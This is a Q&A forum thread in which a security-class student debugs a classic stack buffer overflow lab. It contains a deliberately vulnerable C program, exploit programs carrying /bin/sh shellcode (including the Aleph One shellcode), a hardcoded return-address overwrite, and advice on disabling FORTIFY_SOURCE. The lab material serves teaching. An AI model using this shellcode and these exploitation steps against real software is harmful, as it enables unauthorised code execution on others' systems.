5

Still learning this Buffer Overflow stuff for a security class, I'm trying to exploit the vulnerability in this application:

//vuln.c
#include <stdio.h>

int bof(char *str)
{
     char buffer[12];

     //BO Vulnerability
     strcpy(buffer,str);

     return 1;
}

int main(int argc, char* argv[])
{
     char str[517];

     FILE *badfile;
         badfile = fopen("badfile","r");

     fread(str, sizeof(char),517, badfile);
     bof(str);

     printf("Returned Properly\n");
     return 1;
}

Using this exploit application:

//exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

const char code[] =
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
;


int main(int argc, char* argv[])
{
    char buffer[517];
    char large_string[512];
    FILE *badfile;
        badfile = fopen("./badfile", "w");

    //NOPslide
    memset(&buffer,0x90,517);

    //BEGIN FILL BUFFER
         //from stack_smashing.pdf
    long *long_ptr = (long *) large_string;

    int i;
    for (i = 0; i < 128; i++) 
        *(long_ptr + i) = (int) buffer;

    for (i = 100; i < strlen(code)+100; i++) 
        large_string[i] = code[i];

    strcpy(buffer,large_string);
    //END FILL BUFFER

    //save buffer to badfile
    fwrite(buffer,517,1,badfile);
    fclose(badfile);

    return 0;
}

For some reason, when I create the badfile by running exploit, it doesn't push anything to it. Either the buffer is empty or it's not writing properly. I can't seem to find my error, and after tirelessly google searching, I wasn't able to find a sufficient answer. From my understanding of the Fill Buffer Code I used, this should fill long_string with the address of my buffer, then put my shellcode at the beginning of long_string (after a bit of a NOOP slide) and then copy long_string back to buffer. I don't really see any issue with this or with the fwrite. Suggestions?

jww
  • 97,681
  • 90
  • 411
  • 885

3 Answers3

0

There's one very important thing you are missing in your code. I'll let you find that yourself but I'll probably help you by looking at a very simple buffer overflow problem that I solved some time back.

Consider this the target code with the vulnerability — easy buffer overflow.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int foo(char *arg)
{
  char buf[200];
  strcpy(buf, arg);
}

int main(int argc, char *argv[])
{
  if (argc != 2)
    {
      fprintf(stderr, "target1: argc != 2\n");
      exit(EXIT_FAILURE);
    }
  foo(argv[1]);
  return 0;
}

Following is the exploit code:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "shellcode.h"

#define TARGET "/tmp/target1"

int main(void)
{
    char arg1[215] = "";
    memset(arg1,'\x90', 215);
    memcpy(arg1,shellcode,45);

    //0xbffffd78
    //0xbffffcb8

    arg1[212] = '\x88';
    arg1[213] = '\xfc';
    arg1[214] = '\xff';
    arg1[215] = '\xbf';
    char *args[] = { TARGET, arg1, NULL };
    char *env[] = { NULL };

    if (0 > execve(TARGET, args, env))
        fprintf(stderr, "execve failed.\n");

    return 0;
}

See how I define my target and use it.

Also, I'vent seen that shell code before. I use the one in the following (phrack):

/*
 * Aleph One shellcode.
 */
static char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

Check it with your code and let me know if that works.

ALSO:

strcpy(buffer,large_string);

Writing this is bad practice no matter if you are accepting large_string from stdin or not.

p0lAris
  • 4,750
  • 8
  • 45
  • 80
  • arg1[215] = '\xbf'; dont u think this is buffer overflow(char arg1[215] = "";) – Anshul Feb 13 '13 at 06:01
  • The shell code was from my assignment, which can be seen [here](http://www.cis.syr.edu/~wedu/seed/Labs/Vulnerability/Buffer_Overflow/Buffer_Overflow.pdf). I had the same results using your suggested shellcode as well. I'm currently trying to see what you want me to see from your exploit.c, but I don't think I'm seeing it. I don't understand your use of /tmp/target1, shouldn't that be /bin/sh? Sorry this is all still very new to me and the professor/TA are not the best at explaining things simply. – Jordan Wayne Crabb Feb 13 '13 at 06:21
0

Well, you need to understand what smashing the stack really accomplishes. It basically smashes a lot of values and overwrites a particular address which is basically the address of the return pointer on the stack ($ebp + 4). You are definitely trying to smash the stack but there is tons of stuff you have to do in order to understand exactly what address you need to override with another address that points to your shellcode.

http://www.phrack.com/issues.html?issue=49&id=14

Currently you don't have the working of either of those two things.

You should use gdb or may another tool to go through the assembly code of the actual vulnerable code and see the return address. Based on that, you try to smash the stack using the command line.

Then you run your exploit code without smashing the stack. Try to capture the actual return address which you should be pointing to the place where you plant your shellcode.

You should follow the reading on phrack to actually understand the concept of smashing the stack. Hope that helps!

p0lAris
  • 4,750
  • 8
  • 45
  • 80
  • I had read through most of that, it's where I pulled the for loops from to attempt to fill my buffer. I went back and completed overflow2.c and overflow3.c from that page as well. I'm thinking I should attempt to alter the code from overflow3.c to work for my problem, is that a good train of thought? – Jordan Wayne Crabb Feb 13 '13 at 07:29
  • You can do that. But the idea is to design your code and smash the stack in a way that you change the return address when the function returns from strcpy or some other vulnerable function. But it looks like you will be able to crack this one. – p0lAris Feb 13 '13 at 15:29
  • You can however mark the answer solved if you think have got it. Good luck. – p0lAris Feb 13 '13 at 20:08
0
strcpy(buffer,large_string);

One of the things you will need to address during testing is this function call.

FORTIFY_SOURCE uses "safer" variants of high risk functions like memcpy and strcpy. The compiler uses the safer variants when it can deduce the destination buffer size. If the copy would exceed the destination buffer size, then the program calls abort().

To disable FORTIFY_SOURCE for your testing, you should compile the program with -U_FORTIFY_SOURCE or -D_FORTIFY_SOURCE=0.

jww
  • 97,681
  • 90
  • 411
  • 885